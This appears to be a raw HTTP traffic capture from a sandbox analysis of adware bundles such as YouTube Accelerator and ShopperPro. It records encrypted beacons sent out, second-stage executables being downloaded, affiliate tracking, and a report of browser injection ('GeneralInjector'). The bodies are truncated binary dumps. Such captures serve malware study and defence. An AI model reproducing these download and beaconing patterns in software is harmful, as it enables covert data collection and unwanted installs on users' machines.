GET /app/ping.ashx?e=hpY1rXLYst5PNjxRBLtb498v6J f91o2t8f6YpiR28K/M iZRiJnRhtT6IeDjCpqRrDDJryscYuwFzwQJxJEYQPtg8qbXELpazTs3rfRMhkokLndUNuBHKli32pbacVsRHq5gcybEjCOuHii8r8WvPeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5GbVYBUSgIm8gGkTf2Va 9U7IffXCCIuDgNFu/dheDDCy5ra8N yvvOJaEpB0Im5dY1AbLh2FxzOmrvcVl0Mf/w== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:20 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=hpY1rXLYst5PNjxRBLtb498v6J f91o2t8f6YpiR28K/M iZRiJnRhtT6IeDjCpqRrDDJryscYuwFzwQJxJEYQPtg8qbXELpazTs3rfRMhlFL7m3g1Pd1SLNABL9ZIdQyiY9uJr/F46Krb0sfh10 a9t7URjkW8nIBpE39lWvvVOyH31wgiLg4DRbv3YXgwwsua2vDfsr7ziWhKQdCJuXZvjzBMdMQwXYeeO3me1TXZFx/2xcaGYCPVEGXvKe lWxW20GZ81oXcWMQ1BN/ Lt4sKLU3NDKjiEPV6TLtyTTjV2KQEqxOS3RYxDUE3/4u34EGnDyPkfaNEd5niUXT1yikFELT1v5WKf/IF1C38O75NDkZJCBLdPWbktPzt6Fdq8aHXnj8PuXFHVGmx3LDmkl/aOU2oLI3GdQD9X1g5j6i U5g BjsjVIjnnmMibQg6RaqoA9wMXB4co20Bv tF/mdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUMAlKs1btm3k3cO6dTrNhzTfz6rRYqgs/tcGBIv1zehoSikoE2tkaBcQp/ql BaU3X36Kc9MtkO2A== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:20 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=aQQpsP6/AW07SHxFqnYavIoO1eWHRXrJB70p5cFj8vcD/fqz7XUSNP/TL4QSzfDiScQhY67GlQ8RWdSCCrEc0hVpeWF2oQIshgCEqrXpIWd7HEv67ptHclD/oBpUX5crnl1xOKDZuhX43G01TipW9smoUR/DSN1Jzq8kbQMYE3PNCovy49GhxATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cXZ8qiEfUAdAEJ0Gc7l9cjZrwlpHkaAbnPAHiQ4E 2YtBf1T5uTw8yfL1Y92xkaJQOURgqahV TsfJKZ4NCKSCQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:20 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=/k6kR j50tq2T48fwpLktHFA8SMhVDHu5xbIj7nK9dCovKrJ6qtuelLEqfJll8EjZuS0/O3oV2poN0mNQrpltmZheUL K4kTJm eineCeW1gKkdlz1lRob0AS4HDB5HfWjwfqp7MHxGpMWXGXOfhUiXwmSZn9bL3CkMpf9re0fn3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ORm1WAVEoCJvIBpE39lWvvVOyH31wgiLg4DRbv3YXgwwsua2vDfsr7ziWhKQdCJuXX29hXkrzRmBpq73FZdDH/8= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:20 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=KC46TpkJIZzvtemz1TdLVrDpZe2yTinl62ls PLHCLAq gheK7Gg4DYaplvWkff44nTb6ugC6Ctc8vOzKdCq69YWEGuVyPbKuYb0cBP340pyxpcczop0tDrivPGjoLLtG2u1qI5AhqfiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvDlvHUGzrBfwGDFSoaIrEkMPXAzNb6UKQOKfKDqnoKbeHxdnNkIxOdCa//I/ROcQbVGG/Xal99ijhKIPjTcuiw= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:21 GMT

Content-Length: 0

GET /files/third/2015/01/16/172511/350/XTab_4.0.2.1716.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.inixggda.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:59:31 GMT

Content-Type: application/octet-stream

Content-Length: 2463400

Last-Modified: Fri, 16 Jan 2015 09:25:11 GMT

Connection: keep-alive

Expires: Thu, 12 Mar 2015 03:59:31 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

p.y....I^.@..,....s..pG0......V...PL...N..PL...N..PL...N.n..0.@......,
...QO..9}.$...U...ZM\....!../...x...........Sw@.*H&......Kw........p..
.rr.F.n.U...C..N"SPN.?`E.....}[email protected].[..%o....C.....~F...PL...N..
PL...NQ.b.5..kM.QYD........h.;..{.......- .{.tG.K.........|ag12.$.....
.,8..A....W...".$:.[.pJ..s.h..x.4M...-6.4M...-6...R.}.J...PL...N}V.#R.
.m...w......PL...N.i...o)...PL...NJR!Yw..v..PL...N..PL...N..PL...N..PL
...N..PL...N.....3$...PL...N..PL...N..PL...N..d...8"....._r...j...Z...
PL...N.....Tq...&..8.{..E...Qe.t7W...S..PL...N..<....Ncx....z..n..t
!..J...Z.9...PL...N...4.u..5.;.6z..=.. .e..Q* ..`M...PL...N...4.u...iw
U.>..H....f3...PL...N..PL...Nj.G.....bd6..q\..B.=S-....#VY;....PL..
.N..<....N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N.
.PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...
N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL.
..N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..P
L...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N.H..h.......:....
.....4.C.A..rM8L.Q..D../......_,..b.9.......OnKA.zj\,.....b.8mW...'...
.u.~?..5../...i........x.....7.._...dL.W....^...t..../.....Y.....<.
.....$E..........L.p.z.s.R.....:...([email protected]..|. ..0.1.n..F...]..
?..c.<"...f.............2r.....o..h`..t#..*..0D*..1..xLL.....5.q...
&..Fj..L...3..!Ltc.n..\"*4....y....h7 ....y /.......&...F.V VU.....`..
}.....2..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..
F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F.

<<< skipped >>>

GET /affiliate/client?dist=141&sub=IF2Awsmtycl&name=ShopperPro HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: api.jollywallet.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Encoding: gzip

Content-Type: application/javascript

Date: Tue, 10 Feb 2015 04:00:21 GMT

Expires: Sat, 14 Feb 2015 04:00:21 GMT

P3P: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa OUR IND DSP CAO COR"

Server: nginx/1.4.7

X-Powered-By: PHP/5.4.30

Content-Length: 10920

Connection: keep-alive
...........}k..H..g.....F.(...%c..{z.w{..Nw..9n_-.$QF..T........ A.$..
..s.O......GFDF&...i...o.[$.6.\M.i..va..,........Q.........E..,......v
YZ.....'Ax..J{...._Di.u.,3../6..h.A.t.A..B.{....0.5C..b.%..=...&pv..3.
.?^]4..NG.-.......o7Q.j.....'.w.{h.e.xKE....-~....n...a.s.!L..h...9..,
{,...F%.......&....BA.u.Ylj...A)\.Wi.}..k....bA..u.......}._Qm...A$Y..
...8.....0..,.>...%s.e..$..WTl*....l._....T(...g&..V.K^A...c".M}...
....y..LA4.*..d.6...."M.....9...;...x..'5.S..w..(v.njt.... }O5.S.&.U..
L$*.c.%.#....=....pA........cC..yc ....sR.%jm/..Q.._..Y...........(...
np.....!.EL.....F.t.E....m.x...R..[.n..O......*....?a.?9>^RY.?i.F..
~........|...... .X.#...~vX......x......jt..I.....}..wT..........d.R..
... ...w.vD`!...![.pF..tI.K..P...&H.O.n......./...4.J.;j..#..LO...lS..
'/@/.Zd.\.Dv../`.w. zq  !I4...-.).;......P.h.....z.-..&.k...%t..Mc...7
}[email protected]."B..vQ..a.n.d.5...p.{...._...F..J
c..b....:Xf........m....J.[.{...,.zS..8..x2.yK.|.8..............Ws./t.
[email protected]^...`....X..m.u..ah.5......'.KH.S......,...........h.....Q.}..c
;c.....1.`.....C5.......E../....x.P...^T..7...G....o. ..D.....>....
...X.....u.Nv......p....s....%.. .....=..8.E..........}yKva ..........
..E.:X..A....D..q.k..e@kL?).kBOH....~..^.b9.`.....m.`.....yg.&..J.4..%
.....S-....~3...8.MA.../.&W 5...}3..V...u:K`.O.t.s.."......0..f.....c.
...W......o6..}...D....O...OB......]..QE...;a9UKB.|.c.cO..h:.g`.D.s9.@
.3..X.F;..p..q....0.".....4.h=Q... T........6..w../........V..c.o"...\
t5...ML.r<..........*RH..bC.{.u..l4...X.W.0.\.Te.U...5.....a K.<<< skipped >>>

GET /app/t.ashx?uid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&bn=IE&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLGU1ZjhjY2ZhLTA2NGEtNDUyNS1iOTA5LTliODllMzQ2YjZkOSwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTY4JkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1423540827&aff=smtycl&ver=2.6.8418.1498&usid=2858020935-2156992550-3658131804 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 5k9v3bc1-enehfzfv.netdna-ssl.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 04:00:25 GMT

Content-Type: image/gif

Content-Length: 35

Connection: keep-alive

Cache-Control: private

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Tue, 10 Feb 
2015 04:00:25 GMT..Content-Type: image/gif..Content-Length: 35..Connec
tion: keep-alive..Cache-Control: private..X-AspNet-Version: 4.0.30319.
.X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X-Cache: MISS..GIF89
a.............,...........D..;..

GET /video_accelerator/wizardtest/SMALLTEST.HTM?random=762876&mode=nolsp HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: test.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Content-Encoding: gzip

Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT

Accept-Ranges: bytes

ETag: "bfefaff515ebc81:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:31 GMT

Content-Length: 167
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF...HTTP/1.1 200 OK..Content-Type: text/h
tml..Content-Encoding: gzip..Last-Modified: Mon, 21 Jul 2008 09:41:32 
GMT..Accept-Ranges: bytes..ETag: "bfefaff515ebc81:0"..Vary: Accept-Enc
oding..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Tue, 10
 Feb 2015 03:59:31 GMT..Content-Length: 167...............`.I.%&/m.{.J
.J..t...`[email protected]#).*..eVe]f.@......{....{....;.N'...?\fd.l..J
...!....?~|.?".......~....O......7.O.............'_>.}. ..>..o.?
...MF.....

GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com


HTTP/1.1 200 OK

Content-Type: application/pkix-crl

Last-Modified: Wed, 28 Jan 2015 06:05:55 GMT

Accept-Ranges: bytes

ETag: "75565c7ac03ad01:0"

Server: Microsoft-IIS/8.5

VTag: 438743915800000000

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"

X-Powered-By: ASP.NET

Content-Length: 554

Cache-Control: max-age=900

Date: Tue, 10 Feb 2015 04:03:04 GMT

Connection: keep-alive

0..&0......0...*.H........0y1.0...U....US1.0...U....Washington1.0...U.
...Redmond1.0...U....Microsoft Corporation1#0!..U....Microsoft Code Si
gning PCA..150127173215Z..150428055215Z.a0_0...U.#..0..........X..7.3.
..L...0... .....7.........0...U......Y0... .....7......150427174215Z0.
..*.H......................YIw.. ..(..y..O.G].B.."?.@...[1.}.X...]...e
.J....pP.I....!6...%.D.k...>c.|R.?.i..yt.z..B.........b....n..m5...
0....2..I!)v....z....y.#pXz.DO.....mF...e.'e...@.%...6./.bPZ...=....bp
[email protected]..@.. ...M....z....Q...{u. .W..HTT
P/1.1 200 OK..Content-Type: application/pkix-crl..Last-Modified: Wed, 
28 Jan 2015 06:05:55 GMT..Accept-Ranges: bytes..ETag: "75565c7ac03ad01
:0"..Server: Microsoft-IIS/8.5..VTag: 438743915800000000..P3P: CP="ALL
 IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT
 COM INT NAV ONL PHY PRE PUR UNI"..X-Powered-By: ASP.NET..Content-Leng
th: 554..Cache-Control: max-age=900..Date: Tue, 10 Feb 2015 04:03:04 G
MT..Connection: keep-alive..0..&0......0...*.H........0y1.0...U....US1
.0...U....Washington1.0...U....Redmond1.0...U....Microsoft Corporation
1#0!..U....Microsoft Code Signing PCA..150127173215Z..150428055215Z.a0
_0...U.#..0..........X..7.3...L...0... .....7.........0...U......Y0...
 .....7......150427174215Z0...*.H......................YIw.. ..(..y..O
.G].B.."?.@...[1.}.X...]...e.J....pP.I....!6...%.D.k...>c.|R.?.i..y
t.z..B.........b....n..m5...0....2..I!)v....z....y.#pXz.DO.....mF...e.
'e...@.%...6./[email protected]..

<<< skipped >>>

GET /pagead/viewthroughconversion/971163981/?random=722253959&cv=7&fst=1423540823357&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: googleads.g.doubleclick.net

DNT: 1

Connection: Keep-Alive

Cookie: id=caebd6253000002||t=1384780400|et=730|cs=002213fd480c4c2631f7c541a4


HTTP/1.1 302 Found

P3P: policyref="hXXp://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

Date: Tue, 10 Feb 2015 04:00:22 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, must-revalidate

Location: hXXp://VVV.google.com/ads/conversion/971163981/?random=722253959&cv=7&fst=1423540823357&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=3341751375

Content-Type: image/gif

X-Content-Type-Options: nosniff

Server: cafe

Content-Length: 42

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.02
GIF89a.............!.......,...........D.;HTTP/1.1 302 Found..P3P: pol
icyref="hXXp://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="C
URa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV O
TC NOI DSP COR"..Date: Tue, 10 Feb 2015 04:00:22 GMT..Pragma: no-cache
..Expires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, mus
t-revalidate..Location: hXXp://VVV.google.com/ads/conversion/971163981
/?random=722253959&cv=7&fst=1423540823357&num=1&fmt=3&label=DQanCNPMoR
IQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&
u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=htt
p://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_
Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_b
r=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Wind
ows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID
=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&c
onvclickts=0&random=3341751375..Content-Type: image/gif..X-Content-Typ
e-Options: nosniff..Server: cafe..Content-Length: 42..X-XSS-Protection
: 1; mode=block..Alternate-Protocol: 80:quic,p=0.02..GIF89a...........
..!.......,...........D.;..<<< skipped >>>

GET /software_files/flvplayer/1_0/FLVPlayerSetup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 10 Feb 2015 03:58:03 GMT

Content-Type: application/octet-stream

Content-Length: 279752

Last-Modified: Tue, 16 Jul 2013 14:25:52 GMT

Connection: close

ETag: "51e557f0-444c8"

Content-Range: bytes 0-279751/279752

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................^...........0.......p....@.........
.................0......]........................................t....
.......M...........,..8...............................................
.............p...............................text...L\.......^........
.......... ..`.rdata.......p.......b..............@[email protected]\......
.....v..............@....ndata...................................rsrc.
...M.......N...z..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h ...Pj.h`[email protected]...\r@._^3.
[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G...
..t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i....

<<< skipped >>>

GET /pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar HTTP/1.1

Host: download.cdn.mozilla.net

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Range: bytes=900000-1199999

Connection: keep-alive


HTTP/1.1 206 Partial Content

Last-Modified: Wed, 26 Nov 2014 16:59:55 GMT

ETag: "4b1e700-2dc5623-508c5f506dac8"

Server: Apache

X-Backend-Server: ftp3.dmz.scl3.mozilla.com

Content-Type: application/octet-stream

Accept-Ranges: bytes

Access-Control-Allow-Origin: *

X-Cache-Info: cached

Cache-Control: max-age=599235

Expires: Tue, 17 Feb 2015 02:26:50 GMT

Date: Tue, 10 Feb 2015 03:59:35 GMT

Content-Range: bytes 900000-1199999/47994403

Content-Length: 300000

Connection: keep-alive
d,.f.\s..H.vB9..b.I`.b..8%..g..m....x..*.....{....?..u;f....._nU._....
..y q....].~..N...=....c.:..wuz. g...O?....*-..U..,..]u.iE...9..s.gN..
5.A.v....;BK..H.....>.J..T.n.#. .......^:...9.giR..h.s..dX[:..D..3.
..I.`.5..pb.s.-..........P...M.3.,.Z.....t.&Z$nJ."o'.\..O.h.B,Y.......
W.........!<.eu.BWsJ.=...Z.l....~..l'...l..9l|....d.x....Fw.B.Gv8..
..2.XJ.Ed..r...V.J.%.$.~^..N..b.....!..w h-..3.......C[m......R.*/[email protected]
Jg..L.......t.#A....X......D.B.....w.d...$6....8.I....GP..e...o\.UJ.u.
.yX.I....c..<KG..T......L..mT..,7rA..g..".?....../.&...dI......&.. 
.k..p.....s..J\..J..p....!.1(...U...A=.......D.....{.H.....v..5!..w...
....&.s|......=...V...Ig..Dp..@k..*...o".......Q..r..l]u.u/...(.i.....
.(..j........1.g7..f._N..eVm..~...)%.hX0Zm............z.w...R.".^.hI.Q
..nZ@..|[email protected]..._.....(!$....gR..;O.$$#...w.{.k.hB.4.?.
....u.$...&}.......Od.. ....".......;[[email protected]$.n.[...B?n.....
.$.\%2........!S...l.(.k...:......c...h.f/...x..VZ..A..R*~....dHh.....
9...I.m [email protected]<...i.v./-.\-......d..~h..H. ..6.M
..0....Z.A.T....N..K @....j%....U:.^..z...~.I.....F"..J...`.......1F$.
..s.D......x$O6....;r.P./.es4.*......n.{g._.U..R?(......|.....B.......
m.N....p&.Z......*..ZQ..VR..[..8@".1xy.P..........z.n^.<....^...n3.
..1...'Ki../[email protected]..<.M$..2..|.v.n/6...V.
.......lE/......w8-........-R..\e...WA...756.H.]/d.....-......'.......
.. ..4J@.<.S.4....Fu6%...du.iP.....*>........%/..>#..}....._.
..c.b.f..!...D%L...../.......,...o&u...#..1...Ex.k.P.. .S.J/......<<< skipped >>>

GET /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?635717edfefce2e9 HTTP/1.1

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Thu, 03 Jul 2014 23:34:12 GMT

If-None-Match: "0b2464b1797cf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: ctldl.windowsupdate.com


HTTP/1.1 304 Not Modified

Content-Type: application/octet-stream

Last-Modified: Thu, 03 Jul 2014 23:34:12 GMT

ETag: "0b2464b1797cf1:0"

Cache-Control: max-age=86400

Date: Tue, 10 Feb 2015 04:00:22 GMT

Connection: keep-alive

HTTP/1.1 304 Not Modified..Content-Type: application/octet-stream..Las
t-Modified: Thu, 03 Jul 2014 23:34:12 GMT..ETag: "0b2464b1797cf1:0"..C
ache-Control: max-age=86400..Date: Tue, 10 Feb 2015 04:00:22 GMT..Conn
ection: keep-alive..

GET /v4/sof-installer/535559167_198339_B48A115F?action1=xa.geoip&action2=visit&action3=smt.visit.mystartsearch&update1=ref,smt&update2=identifier,installer&update3=version,6.3.76.1518&update4=nation,us&update5=language,en HTTP/1.1

Accept: */*

Accept-Encoding: */*

Connection: Keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36

Host: xa.xingcloud.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 10 Feb 2015 03:59:24 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.69 ms","message":"store 4 action and 5 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Tue, 10 Feb 20
15 03:59:24 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.69 ms","message":"store 4 ac
tion and 5 update "}..0......

GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.dlzip1.mystartsearch.finish,5 HTTP/1.1

Accept: */*

Accept-Encoding: */*

Connection: Keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36

Host: xa.xingcloud.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 10 Feb 2015 03:59:30 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.78 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Tue, 10 Feb 20
15 03:59:30 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.78 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UVwWiZXwAWyLxFAk6OdbineIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/AYMVKhoisSQw9cDM1vpQpA4p8oOqegpt4fF2c2QjE525CPsyqsZ7A&product=EXTFirefox&rnd=1423540776&it=1&action=Inject&text=GeneralInjector HTTP/1.1

Host: rep.shopper-pro.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

